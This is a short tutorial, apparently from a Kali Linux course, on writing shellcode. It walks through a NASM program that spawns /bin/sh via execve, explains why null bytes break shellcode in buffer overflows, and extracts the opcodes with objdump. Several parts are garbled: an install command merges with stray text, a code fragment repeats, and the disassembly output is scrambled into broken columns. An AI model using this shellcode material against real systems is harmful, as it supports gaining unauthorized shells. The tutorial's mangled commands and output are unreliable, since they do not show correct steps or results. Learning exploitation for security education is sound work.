Shellcode

A shellcode is in many ways similar to a normal program, except for the fact that it uses the virtual space used by the program you are exploiting. Create a shellcode that allows it to execute any code the attacker wants.

First, though, we will write a normal assembly program. You will need a **nasm** installed on your machine to compile it.

sudo apt-get install nasm

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root@kali:~# sudo apt-get install nasmlopment asm. shellcode

Reading package lists... Done

Building dependency tree

Reading state information... Done

nasm is already the newest version (2.13.01-2).

nasm set to manually installed.

0 upgraded, 0 newly installed, 00 to remove and 0 not upgraded.
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Then create a file in vi editor write assembly program and save it as a shell.asm

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root@kali:~# vi shell.asm
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msg db '/bin/sh'
section .text
global _start
_start:
mov eax, 11
mov ebx, msg
mov ecx, 0
int 0x80

mov eax, 1
mov ebx, 0
int 0x80
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    int 0x80

Mov ebx, 0
    int 0x80

So what happened here? If you've programmed with C you may know the problem here, strings use \x00
for terminating.
In a bufferoverflow, the shellcode (which is a string) gets loaded on the stack.

Therefore a nullbyte will terminate the chain of instructions.

So now let's look at our program once again.
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Then compile it using:

nasm -f elf64 shell.asm

ld -o shell shell.o

Now run it with:

./shell

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root@kali:~# nasm -f elf64 shell.asm
root@kali:~# ld -o shell shell.o
root@kali:~# ./shell
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Now extract the shellcode using the following command:

objdump -M intel -d shell

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# objdump -M intel -d shell
shell:
                  file format elf64-x86-64
Disassembly of section .text:
00000000000400080 < start>:
400080: b8 0b 00 00 00
400085: bb 9d 00 40 00
40008a: b9 00 00 00 00
                                                                         eax,0xb
ebx,0x40009d
ecx,0x0
                                                              mov
                                                              mov
                                                              mov
                         cd 80
b8 01 00 00 00
bb 00 00 00 00
cd 80
   40008f:
                                                                          0x80
                                                               int
                                                                         eax,0x1
ebx,0x0
0x80
   400091:
                                                               mov
   400096:
                                                               mov
   40009b:
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